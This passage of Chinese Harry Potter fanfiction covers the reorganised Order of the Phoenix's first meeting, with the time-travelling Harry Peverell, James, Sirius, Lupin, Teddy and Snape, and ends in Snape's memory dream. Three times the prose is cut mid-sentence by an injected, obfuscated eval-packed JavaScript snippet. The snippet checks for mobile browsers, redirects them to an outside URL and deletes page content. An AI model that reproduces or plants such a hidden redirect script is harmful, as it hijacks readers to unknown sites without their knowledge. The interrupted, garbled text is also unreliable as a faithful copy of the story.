小天狼星和詹姆斯交换了一个疑问的眼神,前者试着碰了碰卢平的手臂,担忧地看着他略显苍白的脸色小声问道,“月亮脸,你还好吧?该不会是你那小毛病——” “什么?”卢平下意识地回道,仿佛刚刚被唤醒。然后他马上发现两个好友都在看着他,摇头道,“不,我很好。只是——” 另两人都用眼神示意他说下去,卢平顿了顿才说,“我来到这里时遇到一个男孩,是他把我带进来——” “男孩?”小天狼星打断他,“给我们带路的是个家养小精灵,我可没看到任何别的——”他不确定地看向自己另一个好友,詹姆附和着点头,“我也一样。不过这么大一座塔,就算有个男孩住在这里也没什么奇怪的。问题是莱姆斯你刚刚的态度,你是觉得哪里不对劲吗?” 卢平点点头,又摇摇头,语气里带上点茫然,“确切来说也不是不对劲,很奇怪,我第一眼看到那个男孩就有种亲近感。真不可思议,就像是看着自己的孩子。” “你还没结婚呢,伙计。你知道看着自己的孩子是什么感觉吗?”小天狼星调侃道。詹姆斯的神色却一下子古怪起来,他若有所悟地问道,“那个男孩多大,什么模样,你问了他的名字吗?” 闻言,卢平用手比划了一下,“那个男孩看上去和哈利差不多大,红棕色头发。名字——”他迟疑起来,“他说他叫泰迪·卢平。” “姓卢平?你觉得他有可能是你的亲戚?”小天狼星这次不解地皱皱眉,“是巧合吧?卢平这个姓虽然不常见,但也不算什么独一无二的罕见姓氏。” “这点我当然知道。”卢平叹了口气,“我的亲人全都去世了,是远房亲戚的可能性也不大。”他把视线转向在一旁的詹姆斯,“你的看法呢?”他并没有看漏詹姆斯一刹那露出的“果然如此”的神情。 “你们还聊了什么吗?”没有直接回答卢平的问题,詹姆斯又问。 卢平耸耸肩,“他只告诉我这里是他家,然后一把我带到这里就离开了。我觉得,他好像不想和我多聊。”顿了顿后,他敏锐地说,“詹姆斯,看样子你是知道什么的吧?” 小天狼星猛地一拍手,大惊小怪地叫道,“难道他是莱姆斯的私生——”最后一个字在卢平的瞪视下硬生生噎住了。别看卢平是公认的好好先生,一旦发怒起来小天狼星也只有缩脖子的份。他小声嘟囔着,“我不过是随口说说……” “别胡说。”詹姆斯也不客气地笑瞪他一眼,“记得我上次说过我想让你们见两个人吗?” 小天狼星若有所思地摸着下巴,“记得,就是那个据说和你长得挺像的,叫什么佩弗利尔的人?还有个是谁来着?”说到这里,小天狼星忽然“啊”了声,而詹姆斯接下来的话肯定了他的猜想,“就是佩弗利尔的教子,泰迪·卢平。他也在格兰芬多,和哈利是好友。可能你们平时没注意,哈利这个暑假可是经常把他的名字挂在嘴上的。”他这么一说,卢平也顿时恍然大悟,“原来就是他。” “我见过他两次,那时候就觉得和莱姆斯小时候的样子有点像,而且还凑巧同姓——” “这个不成理由。”卢平指出,“你是个傲罗,不过是见了两面,也没有任何证据显示我和他有什么关系,你会特意关注他?真的只是为了让我们见面吗?” 对于卢平的一针见血,詹姆斯只好摇头苦笑,“好吧,我投降。”他眼中流露出和卢平十分相似的惘然,“因为我和你有过一样的感觉。” ………… 太神奇了。 直到现在,小天狼星还感到不可思议。 凤凰社剩下的成员已经陆陆续续到来,气氛也渐渐热闹起来,足够坐二、三十人的长桌子几乎座无虚席。而詹姆斯和卢平还在热衷于交流感想,似乎大有同病相怜之感。甚至连邓布利多在经过他们这里时也稍微驻足了会儿,才带着一脸高深莫测的微笑走向首座,留下莫名其妙的小天狼星完全摸不着头脑。 真是梅林的胡子! “这么说来,你认为‘他们’和‘我们’之间肯定是有什么关系的了?” “我找不到更好的解释,想想吧,一个长得像可能是巧合,两个呢?何况还有名字和姓名!” “巧合中的巧合?否则怎么说得通,我的意思是说,难道我们还能凭空冒出几个亲人来么?” “哦,莱姆斯,别忘了,我们都有那种感觉——” 绕了半天又绕回原点,这让在一旁持保留意见的小天狼星直翻白眼。 说实在的,他不是没尝试过表达身为朋友的支持,虽然他一点也不能理解那个所谓的“感觉”。 可梅林在上,这是他的错吗? 也许年轻时的他会在某个漂亮女巫的手上亲吻,用调情的口吻搭讪说我好像在哪里见过你。但已过三十的他可不会一见到和自己长得有点相像的人,就一头热地冲上去握住他的手说我觉得你很像我的儿子——尽管他连老婆都还没娶到。 出生于纯血家族的他乱七八糟的亲戚够多了,不用劳驾梅林老头给他再加上两个! 话再说回来,第一眼看到就会产生亲近感。一见钟情也没这么玄乎吧? 小天狼星对天长叹,不是詹姆斯他们疯了,就是他疯了。 就在他胡思乱想之际,邓布利多拍了拍手,会议室里交谈的嗡嗡声顿消。每个人都全神贯注看向他们最尊敬的领袖。 “我很抱歉,按照预定我们应该开始会议了,可还有几位成员暂时未到。”邓布利多沉稳的声音里含着歉意,“毕竟是凤凰社重组后的第一次会议,我建议把开会的时间推迟十分钟。大家认为如何?” 没人表示异议。詹姆斯想了想,出声问道,“阿不思,这座睿瓦纳之塔的主人,是我上次见过的哈利·佩弗利尔吗?” 邓布利多意味深长地看了他一眼,“是的,他十分慷慨地提供了这个总部,同时也是我们的新伙伴。因为某些原因他正在赶过来的途中,和他在一起的还有——” 他的话被砰的开门声打断,大步流星走进来的是黑袍翻滚的斯内普。 “对不起我迟到了,阿不思。”斯内普硬梆梆地说。 邓布利多微笑着对他颔首,在发现已经没有空位后,在自己的左侧变了一把椅子出来。斯内普板着面孔坐上去,邓布利多敏锐地注意到,他的鹰钩鼻子上沾了点灰。 “很好,那么我们只剩下——” “阿不思,为什么他会在这里?”小天狼星猛然站起来质问道,眼睛却死死地瞪着对面的斯内普。 斯内普面无表情地回瞪他,随即扯出一丝轻蔑的冷笑,圆滑地说,“我为什么会在这里可不是你这只哈巴狗说了算的。” 小天狼星的脸色霎时变得铁青,反驳的话被堵在喉咙里——他这才想起斯内普也是知道他阿尼玛格斯的秘密的。 诅咒梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“抱歉,阿不思。我忘时间了。”哈利闷闷地道歉,疲惫地把自己甩进椅子里——斯内普的旁边,小天狼星的正对面。 而在正面看清楚哈利的那瞬间,小天狼星的眼睛不敢置信地瞪大了。他眨眨眼,又揉揉眼,最后干脆转头去看詹姆斯的表情,后者扔了他一个“我早就跟你说过了”的眼神。当然,会议室里的其他人也都不是瞎子,如今都饶有兴趣地暗暗对比哈利和詹姆斯的长相,并都在私底下啧啧称奇。甚至连穆迪的假眼球也毫不客气地转移到了哈利的身上。 “不是什么大问题,哈利。”邓布利多眯着眼注意到,哈利的鼻子上也沾了点灰。“我本以为西弗勒斯去找你了——” “哈,他先逃了!”看来只要提起斯内普就会让哈利发飙,一点也不在意斯内普就坐在他身边的事实,“我不过是请他帮个无伤大雅的小忙——” “无伤大雅的小忙?”先前一直沉默不语的斯内普双手交叉抱在胸前,语气中带着斯内普式的讥讽,“你肯定谋杀罪是所谓的……小忙?” “劳驾,我什么时候让你谋杀了?”哈利恼怒地瞪着他。 “我说过了,你要自杀请自便,我很乐意旁观——”斯内普冷笑着挑眉,“但不包括把我自己变成杀人犯。” “我也说过这是安全的!”哈利不顾形象地吼道。 斯内普似乎被逗乐了,“凭你的可信度,你居然敢说安全?我以为我的实验室在爆炸的轰击下已经可以和山洞媲美了?” 哈利脸上泛起红晕,争辩道,“那是因为我控制不好魔力,这是两码事!” “咳咳。”邓布利多清了清喉咙,成功地唤回了一吵架就会旁若无人、并陷入“两人世界”——当然这完全没有任何浪漫成分可言——的两人的注意力。斯内普完美的脸谱无懈可击,但哈利不一样,他十分尴尬地发现每个人都在盯着他们看。实际上,他们看上去都是一副目瞪口呆的样子。 梅林,他吃错药了才会在这种严肃的场合和斯内普吵架。 哈利在心里呻吟,愧疚的同时觉得自己脸在发热,并控制不住自己的眼睛向他父亲和教父那边偷偷瞄去——尽管他们对自己的身份毫不知情。其实,他从进门前就下定决心要故意装作不认识他们,要抑制住激动的情绪,要低调,然后再慢慢和他们接触、混熟…… 显然,詹姆斯他们的表情不见得比别人好到哪儿去。 好吧,这回全完了。 会议室里因为震惊而产生的沉默没有持续多久。 “你……你们怎么敢!” 出乎众人意料地,首先跳起来的是面孔扭曲的小天狼星。 “你疯了?看清楚,他可是你最讨厌的斯内普!” 小天狼星的声音在众人讶异的目光中戛然而止。 他刚刚都在胡言乱语什么? 而哈利则呆呆地看着震怒的小天狼星,心脏狠狠地跳动了几下——小天狼星的反应太不寻常了。事实上,他们不应该是“第一次”见面,连自我介绍都还没做过的吗? 他在心神慌乱中和邓布利多意味深长的目光对上,又看见斯内普微不可见地皱了皱眉。那帮不了他,反而令他心里更加混乱了。 另一方面,小天狼星在吼完那几句话后便被詹姆斯和卢平硬拉回座位上,并兀自懊恼起来。 可那又有什么关系,他恨恨地承认,没有比看到那个佩弗利尔和鼻涕精“友好相处”更让人不爽的事了。 梅林在上,他绝对是犯病了。见鬼的犯了和詹姆斯及卢平一样的病。 38. 凤凰社 时间还长着呢,不是吗? 哈利强迫自己把注意力集中在邓布利多胡子上扎着的蝴蝶结上。 如此一来,他就可以当做没看见小天狼星吃人似的眼神。 当然,也可以压下自己想要晃他肩膀的冲动。 他会是“他”吗? 不是没想过这个可能性,即使依然匪夷所思——假设,如果那么凑巧,小天狼星在穿越帷幕时没有死,而是像他和泰迪一样,只是回到了过去…… 梅林在上,难道这个过去还不够混乱吗? 可这个想法一发不可收拾。哈利简直克制不住让自己别往下想。 哈利在脑子里不断回放见到这个时代的小天狼星时他的形象——年轻英俊的脸庞,放荡不羁的神态,不带一丝沧桑和麻木——其实答案很清楚了。 失落的情绪在啃噬他的心脏。 没错,别妄想了,哈利冷酷地告诉自己,那不是他的小天狼星——没有在阿兹卡班蹲上十二年的牢,没有想要为最好的朋友复仇的怒火及悲哀,没有因为担忧教子的安危而躲在山洞里啃老鼠,没有被迫关在自己最想逃离的布莱克家宅邸里的郁郁不乐。 所以,小天狼星的异常反应,当然也可以归类到邓布利多和斯内普的行列里。他早就在猜测这大概算是穿越时空带来的副作用之一,谁知道呢? 即使如此,看到为自己发怒的小天狼星,哈利仍是觉得心里有个欢快的小人在骑着扫帚横冲直撞。 “……哈利。哈利?”邓布利多的声音在耳边响起,把哈利飘远的思绪拽了回来。 回过神来的哈利这才发现每个人的视线又再次聚焦到他身上,他的脸一阵发热,喃喃地道歉,“抱歉,我刚刚在想别的事,有点走神了。” “可以理解。”邓布利多用含有深意的语调说,这让哈利的脸更红了。一旁的斯内普冷哼了声。 邓布利多又看了他一眼,“我们在说,鉴于凤凰社的这次重组除去一部分的老成员,还加入了不少新招募的成员。我想为了以后大家能更融洽合作,在正式开会前我们有必要互相自我介绍一番。你是第一个,哈利。” 闻言,哈利很快收起脸上的愣怔,只是顿了顿便坐直身子微微点头致意,“我是哈利·佩弗利尔。现任霍格沃兹学校的黑魔法防御课教师。在凤凰社内的职务暂时算是——”他的目光迅速扫了一遍屋内众人,“间谍。” 一片哗然。除了邓布利多和斯内普,其余在座的人虽都知道斯内普是间谍,可显然没人料到连哈利也是。 表现出最露骨的震惊的自然是坐在他对面的詹姆斯等人。尤其是小天狼星,简直是把眼珠子都要瞪出来了。 间谍意味着什么? 果然最先忍不住的还是小天狼星,他几乎是拍案而起,“你说你是——” “你也是个食死徒?”穆迪粗犷的声音兀地打断了小天狼星接下来的话,语气中毫不掩饰地流露出浓浓的敌意和戒备。 哈利淡淡地往穆迪的方向看去,如果说一开始他还表现得犹如腼腆的大男孩,已经完全调整好心态的他锋芒毕露,“我不是。但如果你是指黑魔标记——”他毫不在意地伸出自己的左臂,并拉起袖子,在印记露出的瞬间,他听到了一片抽气声。“我的确有一个。” 穆迪的假眼球在黑魔标记上来回扫视,并咄咄逼人地说,“我看不出有任何区别。” “我以为很明显。”哈利坦然地反驳。他也不是第一次和穆迪打交道了,要取得生性多疑的老疯子的信任,一味的退让反而会适得其反。“我手上的黑魔标记不过是用来接近伏地魔的工具,而不是主宰我灵魂的烙印。同样的,我可以保证斯内普也早就脱离了食死徒的身份。” “空口说大话谁都会。虽然你的确不在我所知的食死徒名单上,但那说明不了什么。我们都知道,黑魔标记可是伏地魔亲手烙下的。”穆迪桀桀一笑,灌了口酒后砸吧两下嘴巴,“阿不思,我真怀疑你老糊涂了,让一个食死徒来做斯莱特林院长就已经够离经叛道了,现在居然让另一个食死徒来教黑魔法防御课,梅林的胡子!哈,黑巫师教黑魔法防御!你该不会是准备培养下一代食死徒吧?”他眯起那只完好的眼睛,说话的同时瞄了眼缄默不语的斯内普,露出一副怀疑的神情。 “阿不思,我也觉得这有些不妥。”开口的是麦格教授,一贯严厉的面孔中透着不安的神色,“我们得为学生着想,你从来没告诉我哈利也是……” 邓布利多刚抬起一只手,一个冰冷的声音随即响起,“他不是食死徒。” 出乎众人意料的,说出这句话的居然是一脸不屑的斯内普。 “就凭他这种正义感过头的傻冒,免费送给黑魔王做手下他也不会收的。” 哈利刚冒出来的一丝惊讶立马转换成满腔的怒火,“斯内普,你这是什么意思?” 斯内普带着几分阴毒的笑容转向哈利,“我在明确表明我并不想要一个做事只凭冲动、行动不经大脑、动不动就自虐上瘾只会拉我后腿的……同事。” 毫不留颜面的打击把哈利气得浑身发抖,“很好,很好!亏我还在帮你讲话!” “那可不是我要来的。” 眼看着两人又开始目无旁人的争吵,以及再次安静到诡异的众人,只有见怪不怪的邓布利多轻轻咳了声,“咳咳,哈利,还有西弗勒斯,如果你们不介意开完会再接着进行彼此间的‘友好交流’,我们可以继续下去了吗?” “当然,另外我得纠正你用错形容词了,阿不思。”斯内普恢复一派超然。 邓布利多无奈地摇摇头,又看了看仍然满脸狐疑的穆迪,“看来我们的朋友还存在不少疑问。哈利,也许你能展示一下……”他用眼神询问哈利,后者立刻明白了他的意思。 “没问题,阿不思。”哈利拔出自己的魔杖,穆迪死死盯着他的动作暗自防备——没人知道他将要做什么。 在众目睽睽下,几秒种后,一个半透明的黑魔标记飘浮在半空中,对着陷入呆滞状况的众人露出狰狞的笑容。 “这就是证据。”哈利摊摊手,左手臂的皮肤上连一点印痕也找不到,“我说了我不是食死徒。” 还没等众人从震惊中回过神来,黑魔标记已经重新归位——淡淡的印记赫然浮现在哈利的左手臂内侧。 “转移黑魔标记?这怎么可能?”身为傲罗司司长的詹姆斯自诩接触过的魔法种类繁多,但哈利刚刚使出的魔法却是他闻所未闻的。 邓布利多神秘一笑,“哈利把它变成了可能。另外,阿拉斯托,米勒娃,我以我的名誉担保他们是值得信任的。当然若是有必要,我也可以发誓,惩罚就是我一辈子吃不到柠檬雪糕?哦,那可是会要了我的命的。” 底下爆出低低的笑声,凝重的气氛顿时轻松不少。 麦格教授爽快地点点头,没有发出更多的质疑。而穆迪浑浊的眼睛在邓布利多和哈利他们之间流连半晌,最终重重喷了口气,“好吧。希望你不会后悔,阿不思。” 除了一开始不协调的小插曲,成员的介绍仍有条不紊地进行下去。 而哈利露的一手让绝大多数人在接受他的同时,也对他多了一份好奇。 至于哈利则趁着这段时间第一次仔细观察现在的凤凰社成员。不提他的父辈们,凤凰社成员的人数显然比他时代的要少。 他没看到蒙顿格斯·弗莱奇——好极了,哈利至今想起这个骗子兼小偷还会怒不可遏。唐克斯也不在——那是理所当然的,她应该还在接受傲罗的训练。还有韦斯莱夫妇——这也不奇怪,因为当年韦斯莱夫妇加入凤凰社的主要原因就是哈利。但让哈利无法释然的是,他找不到莉莉的身影。 接二连三的混乱让哈利一开始无暇注意到莉莉并没有和詹姆斯在一起。可他明明记得她也是凤凰社成员,为什么会缺席这么重要的会议? 他的疑问没有持续太久,邓布利多替他提了出来,“詹姆斯,莉莉今天怎么没来?” 一说到莉莉,詹姆斯就满脸发光,像孩子似的露出幸福满足的笑容。 他有些不好意思地搔搔乱蓬蓬的头发,“莉莉她怀孕了。” 在刹那的寂静后,会议室里炸开了锅。 “恭喜啊!”大家都欣喜地感叹道,许多和詹姆斯相熟的则干脆离开座位来和他握手。 “恭喜!”小天狼星狠狠地在詹姆斯背上拍了一掌,大笑着说,“你这家伙!难怪一大早就笑得嘴都合不上,怎么不早说?对你的好朋友太不够意思了!” “谢谢。”詹姆斯正在和金斯莱握手道谢,一边转头低声说,“我本来打算和你说的啊,后来事一多就忘了。” “哦,对了!”他似乎忽然想起什么,转身把双手搭在同样是满脸喜悦的卢平肩上,“你会当他教父的吧,莱姆斯?” “我?”即使是卢平也不禁怔了怔,“我当教父吗?” “除了你还能是谁呢!”詹姆斯喜气洋洋地说,“你是我的好友,没人比你更适合了。” 卢平看似有些犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156376|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫,邓布利多适时地加入谈话,“那是极大的荣耀,没什么值得顾虑的,莱姆斯。”这句话说服了卢平,他上前拥抱詹姆斯,“我很荣幸,詹姆斯。哦,我迫不及待看到小家伙的出生了!” 詹姆斯哈哈一笑,“还有好几个月呢。” “恭喜你。”詹姆斯下意识地伸出手,当他发现向他祝贺的是哈利时,愣了一愣,“呃,谢谢你,佩弗利尔教授。”不知道为什么,那双像极了莉莉的碧绿眼眸让他的内心没由来地一紧。 哈利没再多说什么,抽身回到自己的座位上,脸上仍然带着真挚的笑容。 大家都沉浸在喜悦中,没人注意到邓布利多在看到这一幕后暗暗叹气,及一直冷眼旁观的斯内普愈加阴沉的表情。 会议正式开始后,哈利表现得比任何时候都活跃。当然,这和他及斯内普是唯二和伏地魔有过直接接触的人有关,因此会议内容几乎也是由他们和邓布利多主导。 他们讨论到克劳奇父子的事件——在隐去了伏地魔在收集魂器的事实之后——詹姆斯几个星期的调查显示,克劳奇本人并没有受到夺魂咒控制的迹象,这让哈利隐隐松了口气——看来克劳奇这次并未受到牵连。 然后便是提及第四个不可饶恕咒,这个消息的冲击力绝对不亚于伏地魔的回归,从而着实引发了好一阵子的恐慌。哈利踌躇半天,最后还是决定直到实验成功前暂时隐瞒自己在尝试发明反咒语的事。也许他首先要做的就是逼斯内普同意在他身上用阿瓦达索命咒。 会议进行到最后,邓布利多已经开始分配任务,而哈利终于意识到自己正处于极度奇妙的状态下。一方面,他头脑清醒、思维活跃,对任何提出的议题都能分析得头头是道。另一方面,仿佛有个冷漠的自己在透过躯壳观望着外面的一切——外面是喜是悲他漠不关心,甚至毫不在乎地讽刺—— 得了吧,哈利,你在妒忌什么?他们的幸福不是你所希望的吗? “根据西弗勒斯他们的报告,伏地魔至少一年内都不会东山再起。我认为,我们这次有足够地时间提前做好防御工作。同时,我们的组织也将比以前更加严密,我希望,在此的每个人都能活到最后一刻。”凤凰社重组后的首次会议在邓布利多如上的结语中结束了。 “拍照!拍照留念!”德达洛·迪歌挥舞着不知从哪里找来的旧式照相机。 这个提议得到全体的赞同。 随后大家兴致勃勃地站成两排,邓布利多自然处于最中间——被施了魔法的照相机开始倒计时。 哈利浑浑噩噩地回想起穆迪曾给他看过的那张发黄的照片,全然不觉自己自然而然站到斯内普的身边。 而站在他身后的某个人紧皱眉头,似乎对此安排表示极度的不满。 此时迪歌大声说道,“预备,3,2,1,phoenix!(注)” 大家齐绽笑脸,“phoenix!” 镜头定格了。 等照片洗出来后,他们就会发现画面上的小小不和谐。 本是站在后排的小天狼星·布莱克硬是挤到哈利和斯内普的中间,左手大大咧咧地揽着满脸惊讶的哈利的肩膀,右手把斯内普的脸推得远远的,无视斯内普当场拔魔杖的举动,一副预谋成功后得意洋洋的样子。后排的詹姆斯和卢平露出拿他没办法的苦笑,邓布利多则笑眯眯地拉住斯内普拿着魔杖的手,以防他一个冲动毁了整间会议室。 这张照片,哈利珍藏了一辈子。 ………… 哈利是最后一个离开会议室的,一出来就看到在门外探来探去的小脑袋。 “小家伙,躲在那里做什么?”哈利忍俊不禁地问道。 “哈利,我今天看到爸爸了。”在哈利面前,泰迪完全不用掩饰自己的激动,“还和他说了话!” 哈利蹲下来,和他的视线平视,“觉得怎么样?” 泰迪向他招招手,示意哈利把耳朵凑得更近些,才附着他的耳朵轻声说,“和我想像中一模一样。” 那双浅灰色的眼睛闪耀着光彩夺目的亮光,仿佛充满了希冀地看着哈利。 泰迪并不祈求更多。见一面,就足够令他雀跃万分了。 “以后还会有很多见面机会的,我保证。”哈利一手抚上他的头,嘴角微微翘起,“时间还长着呢,不是吗?” 注:phoenix就是凤凰的意思。不过这里相当于我们拍照时说“茄子”“七”“cheers”等符合笑时口型的词语。 39. 转变 无边的黑暗。斯内普第一次来到这里时,他以为那是再寻常不过的梦。 在这伸手不见五指的空间,他没有表现出丝毫恐慌。 他享受黑暗的深沉。他甚至不排斥一直待在这里,直到黑暗将他吞噬殆尽。 可偏偏有人扰他清梦。 “你好,西弗勒斯·斯内普。”稚嫩的童声自他背后传来。 不用转头也知道那是谁——那个让他打心底不喜的声音,腔调却如同陌生人。 他回头,望进了一双宛若翡翠石的眼眸。他很好奇,为什么在没有一丝亮光的地方,还能清楚地看到这个人的模样—— 十一、二岁左右的瘦小模样,乱糟糟的黑发下闪电形伤疤若隐若现。 不,不一样—— 眼前的孩子那恬静的神情,是他从未见过的。 或者说,斯内普敢肯定,这个梦中的哈利·波特不是他认识的任何一个。 两人面面相对许久,即使在梦里感觉不到时间的流逝。 “你是谁?”见那个哈利·波特并不准备先开口,斯内普终于打破沉默。 【哈利】眨眨眼,碧绿的眼睛深处似乎含着戏谑,“你不认识我?” 斯内普从鼻子里哼道,“我的眼睛没有任何与众不同的地方,包括看不清你的真面目这一项。” “我对你没有歹意,本以为这个样子会让你比较自在,对我也比较方便。”假【哈利】微微侧头,一副不解的样子,“毕竟就算是机缘巧合,你能进来这里也是因为他的缘故——” “‘他’是谁?”斯内普敏锐地问,语气中略带讥讽,“什么时候连做个梦都得开始玩悬疑了?” “谁说梦境不能是现实,何况你又怎么能肯定在你脑中发生的就不是真实的?”【哈利】以无比认真的口气说,看上去像在对一个学生谆谆教导,“你的眼睛未必忠实于你,而你看不到的,也不等于不存在。”其中模棱两可的意味令斯内普挑起了眉毛。 “不是梦又是哪里?地狱吗?”他冷笑着发出疑问。 【哈利】不置可否地耸了耸肩,在避免回答的同时换了个话题,“能告诉我你现在看到了什么吗?” 斯内普仔细琢磨了下他问话里可能含有的深意,最后决定老实回答,“除了你,只有黑暗。”他顿了顿,自嘲道,“和我再匹配不过了。” “没有光?” “那种东西,从来不曾眷顾过我。” 【哈利】沉默地注视他,良久才叹息道,“你心中有数,西弗勒斯。它早就近在咫尺,在伸手可及的地方。你只是固执地忽视它的存在,不肯去碰触它。是害怕再次被“光”灼伤吗?” 这句话来得如此直白,以至于狠狠戳中斯内普的痛处。他的脸色阴沉下来,嘴唇紧紧抿着,瞬间爆发的冷酷气息在他身边张开了一面无形的墙壁。 斯内普的复杂神色落在【哈利】的眼中,他再次叹息,“在这里,我和你看到是截然不同的风景。唔,哈利也是。”他补充道。 哈利?斯内普嘴角抽搐了一下,现在傻瓜也知道谁才是把他带入这个莫名其妙的地方的罪魁祸首了。 “他在哪里?” “谁?”【哈利】一脸迷茫。 “哈利·波特!”斯内普冷森森地从牙缝里挤出这个名字。心里同时在恶狠狠地想,他会让那个从未来回来后就没安宁过的家伙为此付出代价的。 “哦,他啊。”【哈利】恍然大悟地点点头,“我不知道。”直到斯内普尖锐的目光几乎要在他身上戳几个洞,他才投降似的摆摆手,“我的意思是说,他这次也是在无意识地状态下进来的,保不准在哪里看故事呢。” 见斯内普露出不解的神情,【哈利】笑了,而这种仿若一切都在他掌握中的笑容恰恰是斯内普深感厌恶的。“这是个可以让你看到不少故事的地方。” “什么故事?” 没有直接回答斯内普的问题,【哈利】反而向他身边努了努下巴,露出一个灿烂的笑容,“你为什么不跟着你的守护神亲自去看看?说不定还能找到他。” 斯内普顺着他的视线往下看,手中不知何时已握着魔杖,而正亲昵地蹭着他袖口的是他的牝鹿守护神。 明亮的银光照在他身上,连缠绕的黑暗也惧怕似的褪去不少。斯内普心神有些恍惚——他已经多久没放出过自己的守护神了? 牝鹿守护神貌似不满斯内普的走神,一口咬住他的袖子,轻轻地往后拉了下,便轻快地往黑暗的一方奔去。跑了几步后又停下回过头来,似乎在催促着斯内普快点跟上。 斯内普没有立刻理会它,他咄咄逼人的目光仍然停留在【哈利】身上,仿佛想要透视眼前谜一样的人的灵魂,“对于连真面目也不肯显示的人,我凭什么要相信?” 【哈利】一派淡然地回道,“你不用相信我,相信你自己就够了。难道它不是你的一部分吗?”他指指不远处发出耀眼银光的守护神。“你该不会是可悲到连自己也信不过了吧?” 他等着斯内普怒火高涨,但后者仅是甩了他一个背影,以黑色长袍的翻涌来回应。 “不知道他会看到什么?”斯内普前脚刚走,【哈利】便脱去了高深莫测的面具,吐了吐舌头后自言自语道,“这样算不算侵犯哈利的隐私权?要是他以后知道了,说不定会把我拎出去宰了煲汤喝。呃,保准比鸡汤够味。”他为这个想法恶心了一把。 “管他的——”【哈利】在原地转过身,凝视着身后的黑暗,眼神变得深沉起来,隐含着不曾在斯内普面前流露过的宽容,“看了他们二十多年,我可不想看到哈利走上阿不思的老路。” …… …… 斯内普在伸手不见五指的黑暗中迈步,他没有使用荧光闪烁,唯一可见的是远处闪耀着淡淡光芒的守护神。 他有点后悔。 见鬼的他为什么要乖乖听从那个来历不明的家伙的话,而不是简单明了地施一个魔咒把他打倒逼供? 斯内普继续前进,透过逐渐扭曲的黑暗,他看见了一幕幕往昔的场景。 他猛然停住了。 这就是所谓的故事?这真是梅林级别的大笑话! 赤裸裸地被偷窥自己的记忆却做不到任何防备,似乎连大脑封闭术也失灵了。是的,他应该愤怒地咆哮,然而一股难以言喻的感觉阻止了他。 糟糕的是,他内心叫嚣着想看下去。 所以斯内普重新迈开脚步。 头十一步,他只剩下孩子的无助和孤独,偶尔流露的童真也如流星般一瞬即逝。在前面带路的守护神忽明忽暗。 又走了七步,他学会了爱,那份爱过于狭隘,他渴望把希望射下来,却触怒了它。太阳在遥不可及的虚空高傲地俯视他,他留不住手中的一点光。他愈加孤僻,他学会了崇拜力量,也学会了强烈的憎恨,他义无反顾地投身黑暗。守护神的身形模糊起来,它在低低地呻吟。 再往前四步,他脸上的疯狂渐渐被深深的悲哀取代,随之是绝望后的坚定。他知道他一辈子也得不到太阳,可他更忍受不了它将在黑暗中长眠。于是他作出了至今不曾后悔的决定,而守护神开始迸发耀眼的光芒。 回忆的片段戛然而止。 斯内普深深吸了口气。 他不清楚为什么回放的记忆会停在此处。 不过那无所谓,反正他接下来的日子十年如一日的平淡无味,直到那两人的出现。 他估计自己才走没几分钟,可在这条没有起始,也看不到终点的路上,他好像走了一个世纪。 最感讽刺的是,他曾经觉得糟糕透顶的人生,原来回过头来看也不过如此。 种种情感在内心交替而过,到了最后他反而淡然了。 如果,历史朝另一个方向前进,他深知自己的心会随之死去,无路可选。 然而,那颗太阳还在高高悬挂,它没有陨落,他仍能感觉到它洒下的热度,那足以让他放下他长久以来的执着。 再抬头望去,它只是温暖的太阳,仅此而已。 在原地停留了片刻,斯内普向他的守护神走去。 这一次,他看到的不是自己。一个五、六岁的男孩托着腮帮子坐在门外的台阶上,呆呆地看着远处的景色。蓬乱的头发下是瘦巴巴的脸蛋,黑框眼镜遮住了大半的脸。一件极不合身的肥大毛衣套在他魔杖杆似的瘦小身体上。但最触动斯内普的不是这些,他在那男孩绿色的眼睛里看不到希望。不过是五、六岁的孩子,在他脸上写着对生活逆来顺受的麻木。 可这是哈利·波特啊! 斯内普控制不住自己在心里怒吼,尽管外表看来他就像个冷眼旁观的路人。 “他”不该是像他父亲一样嚣张、无礼,在父母疼爱的蜜罐里长大,和别的被宠坏的小孩没两样吗? “他”不该是来自未来的救世主,他的眼睛里不该是充满耀眼的自信、坚强,还有斯内普绝对拒绝承认的,信任吗? 那么这个睡在楼梯间里,被长了猪头马脸的亲戚呼来喝去,被比他大不了多少、个头却是他好几倍的像喝了膨胀剂的男孩欺负也不反抗的——究竟是谁? 斯内普喉咙发紧,不确定自己是不是想看下去。 这和他的认知差了十万八千里,该死的他早就该把他送去见梅林的波特从来没提过! 可他为什么要揭自己的伤疤? 斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156377|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内普抑制不住往下看的欲望,但牝鹿的守护神却不依不饶地拉着他往另一个方向走。 他这回看到了什么? 成年的哈利·波特迷迷糊糊地起床,令自己的长袍在墙上撞出一个洞。很平淡的生活。 在他吃早餐时,斯内普甚至能清楚地瞄见报纸上的时间——2000年7月30日。 如果不是斯内普肯定自己精神十分正常,他可能要以为他穿越时空了。 然后有人来访。他一眼就认出那是长大后的赫敏·格兰杰,精明的模样丝毫未变,也许除了门牙看上去没那么大之外。 